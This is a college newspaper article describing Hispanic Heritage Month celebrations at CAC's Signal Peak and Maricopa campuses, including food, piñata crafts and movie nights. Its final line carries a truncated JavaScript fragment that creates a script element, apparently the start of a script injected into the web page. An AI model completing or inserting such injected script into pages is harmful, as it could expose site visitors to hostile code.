SPC and Maricopa Celebrate in style

Signal Peak

It is always important to celebrate our roots, but the period, mid September through to mid October, is an especially important time for those of Hispanic descent.  Anyone with Hispanic lineage or someone who just knows someone who is, knows that a huge part of Hispanic culture is celebrations and fiestas. They are thrown for any occasion; ESPECIALLY when celebrating history. Many divisions at CAC’s Signal Peak Campus took advantage of Hispanic Heritage month by throwing a variety of different events and programs. On September 16, Mexican Independence Day the Cafeteria showed its support with a delicious banquet featuring an array of different Mexican foods including Spanish rice, refried beans, calabacitas (squash corn vegetable medley) quesadillas, tamales and even sweet (pan) bread. The cafeteria was decorated — piñatas were hung and bowls of different kinds of Mexican candies (dulces) were on every table. There was even traditional Spanish music playing to add to the ambiance.

Student Leadership also showed their support by hosting a party for students to design and create their very own piñatas. Student Leadership supplied students with traditional hollowed out paper mache balloons with various colors of tissue paper and left the rest up to the creativity of the students.  There was even a whole bunch of Mexican candies there to authenticate the piñatas as well as their purpose; but whether or not the piñatas were later hung and beaten by blind-folded candy craving children is unknown. Even the Residence Life halls got in on the Hispanic Heritage fun. The Residence life team held three separate movie nights and showed movies including “Sin Nombre”, “Tropico de Sangre”, and “The Motorcycle Diaries” to celebrate National Hispanic Heritage Month. The movie nights were held in their community TV lounge and following the movies, discussions were held for participants to discuss the relevance and importance of the movies to Hispanic heritage.

Maricopa

Viva la fiesta! On October 7th, the Maricopa Campus was filled with fun as the annual Hispanic Heritage Celebration took place. Students were encouraged to learn more about Hispanic culture by participating in fun activities. Also present was fiesta themed food for sale.

To utilize a Hispanic art form, Student Leadership handmade small paper maiche balloon piñatas for students to decorate. Students and staff used to various paints and colored paper to put an individual spin on each piñata. Keeping in the colorful theme, SLO members also fashioned together piñata cookies. The cookies were rainbow colored and when broken in half, mini m&m’s spilled out just like a piñata!
Food that was for sale also included nachos. One student remarked, “I was happy to see nachos, the hot cheese was really good for a cloudy day like this.”

However, the event wasn’t just about delicious food it was about celebrating all aspects of Hispanic heritage. Hispanic Heritage Month normally takes place between September 15th-October 15th, 2014. Initated by President Lyndon B Johnson and expanded by Ronald Regan in 1988, Hispanic Heritage month allows Americans to celebrate their diverse and beautiful heritage. For an entire month, Americans can appreciate a variety of Hispanic themed art exhibits, observations and events put on by the Library of Congress and local museums.

If you missed the celebration on and would like to know more please visit http://hispanicheritagemonth.gov/ or talk to an SLO Officer on your campus today!var d=document;var s=d.createElement(‘script’);